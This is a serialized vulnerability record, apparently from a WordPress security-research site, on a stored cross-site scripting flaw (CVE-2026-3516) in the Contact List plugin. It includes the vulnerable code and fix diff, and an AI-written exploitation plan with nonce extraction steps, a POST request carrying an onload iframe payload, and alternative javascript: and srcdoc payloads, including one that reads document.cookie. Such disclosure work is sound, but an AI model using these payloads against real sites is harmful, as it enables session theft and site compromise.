[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fBu6g4HrrVoc1ut-F1FAbYy2ItZk2d2wE_TZ7aBAAx6g":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-3516","contact-list-authenticated-contributor-stored-cross-site-scripting-via-clmapiframe-parameter","Contact List \u003C= 3.0.18 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_cl_map_iframe' Parameter","The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter in all versions up to, and including, 3.0.18. This is due to insufficient input sanitization and output escaping when handling the Google Maps iframe custom field. The saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract \u003Ciframe> tags from user input but does not validate or sanitize the iframe's attributes, allowing event handlers like 'onload' to be included. The extracted iframe HTML is stored via update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","contact-list",null,"\u003C=3.0.18","3.0.19","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-20 10:58:51","2026-03-20 23:25:12",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fa8059995-55cb-49ee-add1-f5364d0772eb?source=api-prod",1,[22,23,24,25,26],"README.txt","contact-list.php","includes\u002Fclass-contact-list-custom-fields.php","languages\u002Fcontact-list.pot","public\u002Fclass-cl-public-card.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-3516\n\n## 1. Vulnerability Summary\nThe **Contact List** plugin (\u003C= 3.0.18) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the handling of the Google Maps iframe custom field for \"Contact\" posts. An authenticated user with Contributor-level access or higher can inject arbitrary HTML (specifically `\u003Ciframe>` tags with malicious attributes like `onload`) into the `_cl_map_iframe` post meta. \n\nThe plugin's `saveCustomFields()` function (in `includes\u002Fclass-contact-list-custom-fields.php`) uses an insufficient regex to \"sanitize\" the input, only ensuring an iframe is present but failing to strip dangerous attributes. Subsequently, `public\u002Fclass-cl-public-card.php` renders this stored meta value directly to the front-end without using `wp_kses()` or any escaping functions.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Fpost.php` (standard WordPress post update endpoint)\n- **Action:** `editpost`\n- **Vulnerable Parameter:** `_cl_map_iframe`\n- **Authentication Level:** Contributor or above (any role capable of editing `contact` custom post types).\n- **Preconditions:** The \"Contact\" Custom Post Type must be active (default behavior of the plugin).\n\n## 3. Code Flow\n1. **Entry (Admin\u002FEditor\u002FContributor):** A user edits a \"Contact\" post. The meta box generated by `ContactListCustomFields::createCustomFields()` (in `includes\u002Fclass-contact-list-custom-fields.php`) provides an input field for the map iframe.\n2. **Processing (Save):** On `save_post`, the `saveCustomFields()` function is triggered.\n   - It retrieves `$_POST['_cl_map_iframe']`.\n   - It applies a regex (e.g., `preg_match('\u002F\u003Ciframe.*\u003C\\\u002Fiframe>\u002Fi', $input, $matches)`) to extract the iframe.\n   - It fails to sanitize the attributes within the extracted string.\n   - The result is saved using `update_post_meta($post_id, '_cl_map_iframe', $malicious_iframe)`.\n3. **Sink (Frontend):** A user visits a page containing the `[contact_list]` shortcode.\n   - `ContactListCard::getMarkup()` is called.\n   - It iterates through fields and identifies the `map` field.\n   - `ContactListCard::getSingleMarkup($id, 'map', ...)` is called.\n   - Inside the `switch ($field)` statement, the `case 'map'` (inferred) fetches the meta: `$iframe = get_post_meta($id, '_cl_map_iframe', true);`.\n   - The code then echoes or returns `$iframe` raw into the HTML buffer.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability is exploited via the standard WordPress post editing flow.\n1. **Identify CPT:** The plugin uses `CONTACT_LIST_CPT = 'contact'`.\n2. **Create Post:** Create a new contact post using WP-CLI to get a `post_id`.\n3. **Get Nonce:**\n   - Use `browser_navigate` to `wp-admin\u002Fpost.php?post=[POST_ID]&action=edit`.\n   - Use `browser_eval` to extract the `_wpnonce` from the form:\n     `browser_eval(\"document.querySelector('#_wpnonce').value\")`.\n   - Note: The `post_ID` and standard `_wpnonce` are required for the `editpost` action.\n\n## 5. Exploitation Strategy\n### Step 1: Create a Contact Post\nUse WP-CLI to create a contact post.\n```bash\nwp post create --post_type=contact --post_title=\"XSS Contact\" --post_status=publish --post_author=[CONTRIBUTOR_ID]\n```\n\n### Step 2: Inject the Payload\nSend a POST request to `wp-admin\u002Fpost.php` as the Contributor user.\n\n**HTTP Request:**\n- **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fpost.php`\n- **Method:** `POST`\n- **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body:**\n```urlencoded\naction=editpost\n&post_ID=[POST_ID]\n&_wpnonce=[NONCE]\n&_cl_map_iframe=\u003Ciframe src=\"about:blank\" onload=\"alert('XSS_SUCCESS_CVE_2026_3516')\">\u003C\u002Fiframe>\n```\n\n### Step 3: Trigger the XSS\nCreate a public page with the contact list shortcode.\n```bash\nwp post create --post_type=page --post_title=\"Contact Directory\" --post_status=publish --post_content='[contact_list]'\n```\nNavigate to this page in the browser. The `onload` event in the iframe will execute.\n\n## 6. Test Data Setup\n1. **User:** Create a user with the `contributor` role.\n2. **Plugin Settings:** Ensure the plugin is active. No special configuration is required as the custom fields are enabled by default for the `contact` CPT.\n3. **Shortcode Page:** A page containing `[contact_list]` must exist to render the contacts.\n\n## 7. Expected Results\n- The injected iframe string `\u003Ciframe src=\"about:blank\" onload=\"alert('...')\">\u003C\u002Fiframe>` is saved in the `wp_postmeta` table for the given `post_id` under the key `_cl_map_iframe`.\n- When the `[contact_list]` page is viewed, the HTML source contains the raw iframe tag.\n- The browser executes the `onload` handler, displaying an alert box.\n\n## 8. Verification Steps\n1. **Database Check:**\n   ```bash\n   wp post meta get [POST_ID] _cl_map_iframe\n   ```\n   Confirm the output matches the injected payload exactly.\n2. **Frontend check:**\n   Use the `http_request` tool to fetch the shortcode page and grep for the payload.\n   ```bash\n   # Use Playwright\u002Fhttp_request to get HTML\n   # Search for: \u003Ciframe src=\"about:blank\" onload=\"alert\n   ```\n\n## 9. Alternative Approaches\n- **SVG Injection:** If the regex is strictly looking for `\u003Ciframe>`, try nesting other tags if permitted, though the description specifically flags the iframe field.\n- **Different Attributes:** If `onload` is blocked by some external WAF, try `onmouseenter`, `src=\"javascript:alert(1)\"`, or `srcdoc` with an encoded payload:\n  `\u003Ciframe srcdoc=\"&lt;script&gt;alert(1)&lt;\u002Fscript&gt;\">\u003C\u002Fiframe>`\n- **Shortcode Specificity:** If `[contact_list]` does not show the map by default, try `[contact_list_simple]` or check if attributes like `[contact_list fields=\"full_name map\"]` are needed to force the map rendering. Based on `getMarkup` in `public\u002Fclass-cl-public-card.php`, the `fields_string` might need to include `map`.","The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level access can inject malicious \u003Ciframe> tags with event handlers (like onload) that execute in the browser of any user viewing the affected contact card.","\u002F\u002F includes\u002Fclass-contact-list-custom-fields.php around line 679\n                    } elseif ( $customField['type'] == 'textarea_iframe' ) {\n                        $iframe_code = $value;\n                        $iframeRegex = '\u002F\u003Ciframe[^>]*>(.*?)\u003C\\\\\u002Fiframe>\u002Fsi';\n                        $strippedHtml = '';\n                        if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {\n                            $strippedHtml = $matches[0];\n                        }\n                        if ( $strippedHtml ) {\n                            $value = $strippedHtml;\n                        } else {\n                            $value = '';\n                        }\n\n---\n\n\u002F\u002F public\u002Fclass-cl-public-card.php around line 456\n            case 'map':\n                if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {\n                    $iframe_code = $c['_cl_map_iframe'][0];\n                    $iframeRegex = '\u002F\u003Ciframe[^>]*>(.*?)\u003C\\\\\u002Fiframe>\u002Fsi';\n                    $strippedHtml = '';\n                    if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {\n                        $strippedHtml = $matches[0];\n                    }\n                    if ( $strippedHtml ) {\n                        $html .= '\u003Cdiv class=\"contact-list-map-container\">';\n                        $html .= $strippedHtml;\n                        $html .= '\u003C\u002Fdiv>';\n                    }\n                }\n                break;","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.18\u002Fincludes\u002Fclass-contact-list-custom-fields.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.19\u002Fincludes\u002Fclass-contact-list-custom-fields.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.18\u002Fincludes\u002Fclass-contact-list-custom-fields.php\t2025-06-11 11:20:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.19\u002Fincludes\u002Fclass-contact-list-custom-fields.php\t2026-03-19 12:14:46.000000000 +0000\n@@ -677,17 +677,7 @@\n                     if ( $customField['type'] == 'wysiwyg_v2' ) {\n                         $value = balanceTags( wp_kses_post( $value ), 1 );\n                     } elseif ( $customField['type'] == 'textarea_iframe' ) {\n-                        $iframe_code = $value;\n-                        $iframeRegex = '\u002F\u003Ciframe[^>]*>(.*?)\u003C\\\\\u002Fiframe>\u002Fsi';\n-                        $strippedHtml = '';\n-                        if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {\n-                            $strippedHtml = $matches[0];\n-                        }\n-                        if ( $strippedHtml ) {\n-                            $value = $strippedHtml;\n-                        } else {\n-                            $value = '';\n-                        }\n+                        $value = '';\n                     } else {\n                         $bypass_sanitation = 0;\n                         if ( !$bypass_sanitation ) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.18\u002Fpublic\u002Fclass-cl-public-card.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.19\u002Fpublic\u002Fclass-cl-public-card.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.18\u002Fpublic\u002Fclass-cl-public-card.php\t2025-06-11 11:36:04.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcontact-list\u002F3.0.19\u002Fpublic\u002Fclass-cl-public-card.php\t2026-03-19 12:14:46.000000000 +0000\n@@ -454,19 +454,6 @@\n                 }\n                 break;\n             case 'map':\n-                if ( isset( $c['_cl_map_iframe'][0] ) && $c['_cl_map_iframe'][0] ) {\n-                    $iframe_code = $c['_cl_map_iframe'][0];\n-                    $iframeRegex = '\u002F\u003Ciframe[^>]*>(.*?)\u003C\\\\\u002Fiframe>\u002Fsi';\n-                    $strippedHtml = '';\n-                    if ( preg_match( $iframeRegex, $iframe_code, $matches ) ) {\n-                        $strippedHtml = $matches[0];\n-                    }\n-                    if ( $strippedHtml ) {\n-                        $html .= '\u003Cdiv class=\"contact-list-map-container\">';\n-                        $html .= $strippedHtml;\n-                        $html .= '\u003C\u002Fdiv>';\n-                    }\n-                }\n                 break;\n             default:\n                 $field = sanitize_title( $field );","The exploit targets the Google Maps iframe custom field in the 'contact' post type. An attacker with Contributor-level privileges can create or edit a 'contact' post and include a malicious payload in the '_cl_map_iframe' POST parameter. Because the plugin's regex-based sanitization in saveCustomFields() only checks for the presence of an \u003Ciframe> tag and does not strip event handlers or other dangerous attributes, the attacker can use a payload like `\u003Ciframe src=\"about:blank\" onload=\"alert(document.cookie)\">\u003C\u002Fiframe>`. Once saved, the payload is stored in post metadata. The script executes whenever a user (including administrators) views a page containing the [contact_list] shortcode that renders the compromised contact record.","gemini-3-flash-preview","2026-04-18 01:16:09","2026-04-18 01:16:29",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","3.0.18","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-list\u002Ftags\u002F3.0.18","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-list.3.0.18.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-list\u002Ftags\u002F3.0.19","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-list.3.0.19.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcontact-list\u002Ftags"]